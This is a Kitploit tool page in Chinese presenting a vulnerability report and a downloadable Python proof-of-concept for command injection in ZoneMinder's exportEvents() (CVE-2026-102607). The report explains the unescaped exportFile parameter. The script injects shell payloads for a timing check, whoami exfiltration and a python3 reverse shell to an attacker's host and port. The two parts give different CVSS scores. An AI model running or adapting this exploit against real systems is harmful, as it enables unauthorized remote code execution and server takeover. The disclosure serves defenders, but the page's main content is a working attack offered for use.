Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-102607-ZoneMinder — Python PoC,利用 CVE-2026-102607——ZoneMinder <= 1.38.1 中 exportEvents() 的已认证 OS 命令注入漏洞,可实现 RCE、命令输出外泄和反向 shell。 | Kitploit
工具/GitHubGitHub/d4kw1n/cve-2026-102607-zoneminder
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试命令与控制远程访问木马
GitHubd4kw1n/cve-2026-102607-zoneminder

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

CVE-2026-102607-ZoneMinder

Python PoC,利用 CVE-2026-102607——ZoneMinder <= 1.38.1 中 exportEvents() 的已认证 OS 命令注入漏洞,可实现 RCE、命令输出外泄和反向 shell。

查看仓库
16个月前尚未审核
分享

安全漏洞报告:ZoneMinder exportEvents() 中的操作系统命令注入

摘要

ZoneMinder 的事件导出功能中存在一个经过身份验证的操作系统命令注入漏洞。exportFile HTTP 请求参数未经清理就被传入通过 PHP 的 exec() 执行的 shell 命令中,允许任何拥有 View Events 权限的已认证用户在服务器上执行任意操作系统命令。

此漏洞可导致以 Web 服务器用户(www-data)身份实现完整的远程代码执行(RCE)。

严重程度

  • CVSS v3.1 评分: 8.8.(高)
  • CVSS 向量: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • CWE: CWE-78(操作系统命令中使用的特殊元素的不当中和)

受影响版本

  • ZoneMinder ≤ 1.38.1(撰写时的最新版本)
  • 已在 ZoneMinder 1.38.1 上确认

漏洞详情

位置

  • 入口点: web/ajax/event.php,第 103 行
  • 易受攻击的函数: web/skins/classic/includes/export_functions.php 中的 exportEvents(),第 1030–1032 行

根本原因

exportEvents() 函数接受一个 $export_root 参数,该参数直接来源于 $_REQUEST['exportFile'](通过 ajax/event.php,第 103 行)。此参数用于构造追加到 tar 和 zip 命令的目录路径。

虽然第 1020 行的归档文件路径($archive_path)使用 escapeshellarg() 进行了正确转义,但第 1030 行的尾部目录参数在未进行任何清理的情况下被直接拼接到命令字符串中:

// Line 1020 — properly escaped ✓
$command .= ' --file='.escapeshellarg($archive_path);

// Line 1030 — NOT escaped ✗ (VULNERABLE)
$command .= ' '.$export_root.($connkey?'_'.$connkey:'').'/';

// Line 1032 — executed
exec($command, $output, $status);

攻击者可以向 exportFile 参数中注入 shell 元字符(;、|、&& 等),从而突破预期的 tar/zip 命令并执行任意命令。PHP 追加的尾部 / 可以使用 #(shell 注释字符)来中和。

数据流

HTTP Request: $_REQUEST['exportFile']
        │
        ▼
ajax/event.php (line 103)
    └── exportEvents(..., $_REQUEST['exportFile'])
                │
                ▼
export_functions.php (line 890)
    └── $export_root = $_REQUEST['exportFile']   // No sanitization
                │
                ▼
export_functions.php (line 1030)
    └── $command .= ' ' . $export_root . '/'     // Direct concatenation
                │
                ▼
export_functions.php (line 1032)
    └── exec($command)                           // OS Command Execution

前提条件

  • 身份验证: 任何拥有 View Events 或 View Snapshots 权限的已认证用户。
  • CSRF 令牌: 必须包含有效的 __csrf_magic 令牌(可从任意 ZoneMinder 页面获取)。
  • exportDetail=1: 在使用不存在的 event ID 时,必须包含此参数以防止 exportEventImagesMaster() 中出现 PHP 致命错误。

概念验证

代码 PoC

#!/usr/bin/env python3
"""
=====================================================================

Affected Version : ZoneMinder <= 1.38.1
Tested On        : ZoneMinder 1.38.1 (Docker)
Vulnerability    : OS Command Injection in exportEvents()
CVSS Score       : 9.9 (Critical)
Attack Vector    : Network (Authenticated)
File             : web/skins/classic/includes/export_functions.php
Sink             : exec() at line 1032

Description:
    The exportEvents() function in ZoneMinder constructs shell commands
    for `tar` and `zip` archival using unsanitized user input from the
    `exportFile` HTTP request parameter. This parameter is used as the
    `$export_root` variable, which is directly concatenated into the
    command string passed to exec() without escapeshellarg() or any
    equivalent sanitization.

    An authenticated attacker with "View Events" permission can inject
    arbitrary OS commands by appending shell metacharacters (;) to the
    `exportFile` parameter, achieving Remote Code Execution as the
    web server user (www-data).

Usage:
    1. Start a listener on your attack machine:
       $ nc -lvnp <LPORT>

    2. Run this exploit:
       $ python3 poc.py --target http://<TARGET>/zm --lhost <LHOST> --lport <LPORT>

    3. The exploit supports three modes:
       --mode check   : Verify the vulnerability (sleep-based timing)
       --mode whoami  : Extract the output of `whoami`
       --mode revshell: Spawn a reverse shell to LHOST:LPORT

Author : d4kw1n
Date   : 2026-03-10
"""

import argparse
import re
import sys
import time
import urllib.parse

try:
    import requests
except ImportError:
    print("[-] 'requests' library required. Install with: pip install requests")
    sys.exit(1)


BANNER = r"""
  ZoneMinder - Authenticated RCE via exportEvents() Command Injection - d4kw1n
"""


class ZMExploit:
    def __init__(self, target, lhost=None, lport=None, session_cookie=None):
        self.target = target.rstrip("/")
        self.lhost = lhost
        self.lport = lport
        self.session = requests.Session()
        self.session.verify = False

        if session_cookie:
            self.session.cookies.set("ZMSESSID", session_cookie)

    def get_csrf_token(self):
        """Fetch a valid CSRF token from the target."""
        res = self.session.get(f"{self.target}/index.php", timeout=10)
        match = re.search(r'var csrfMagicToken = "(.*?)";', res.text)
        if not match:
            print("[-] Failed to extract CSRF token. Is the target reachable?")
            return None
        return match.group(1)

    def send_payload(self, payload):
        """Send the injection payload via the export action."""
        csrf = self.get_csrf_token()
        if not csrf:
            return None

        data = {
            "view": "request",
            "request": "event",
            "action": "export",
            "exportFormat": "tar",
            "exportDetail": "1",
            "eids[]": "1",
            "exportFile": payload,
            "__csrf_magic": csrf,
        }
        try:
            return self.session.post(
                f"{self.target}/index.php", data=data, timeout=30
            )
        except requests.exceptions.ReadTimeout:
            return None

    def read_output(self, filename):
        """Read exfiltrated command output via archive.php."""
        res = self.session.get(
            f"{self.target}/index.php?view=archive&type=tar&file={filename}",
            timeout=10,
        )
        return res.text.strip()

    # ── Mode: check ──────────────────────────────────────────────
    def check(self):
        """Verify the vulnerability using a timing-based approach."""
        delay = 5
        print(f"[*] Sending sleep {delay} payload for timing verification...")

        payload = f"a; sleep {delay}; #"
        start = time.time()
        self.send_payload(payload)
        elapsed = time.time() - start

        print(f"[*] Response time: {elapsed:.2f}s (expected >= {delay}s)")
        if elapsed >= delay:
            print("[+] VULNERABLE - Command injection confirmed!")
            return True
        else:
            print("[-] NOT VULNERABLE or target unreachable.")
            return False

    # ── Mode: whoami ─────────────────────────────────────────────
    def whoami(self):
        """Extract the web server user via command output exfiltration."""
        outfile = "whoami.tar"
        print(f"[*] Injecting: whoami > {outfile}")

        self.send_payload(f"a; whoami > {outfile}; #")
        result = self.read_output(outfile)

        if result:
            print(f"[+] Server running as: {result}")
        else:
            print("[-] Could not retrieve output.")
        return result

    # ── Mode: revshell ───────────────────────────────────────────
    def revshell(self):
        """Spawn a reverse shell using python3 on the target."""
        if not self.lhost or not self.lport:
            print("[-] --lhost and --lport are required for reverse shell mode.")
            return False

        print(f"[*] Sending reverse shell payload -> {self.lhost}:{self.lport}")
        print("[*] Make sure your listener is running: nc -lvnp {self.lport}")

        py_revshell = (
            f'export RHOST="{self.lhost}";export RPORT={self.lport};'
            f"python3 -c 'import sys,socket,os,pty;"
            f"s=socket.socket();"
            f's.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));'
            f"[os.dup2(s.fileno(),fd) for fd in (0,1,2)];"
            f"pty.spawn(\"sh\")'"
        )

        payload = f"a; {py_revshell}; #"
        self.send_payload(payload)

        print("[+] Payload sent! Check your listener for an incoming connection.")
        return True


def main():
    print(BANNER)
下载工具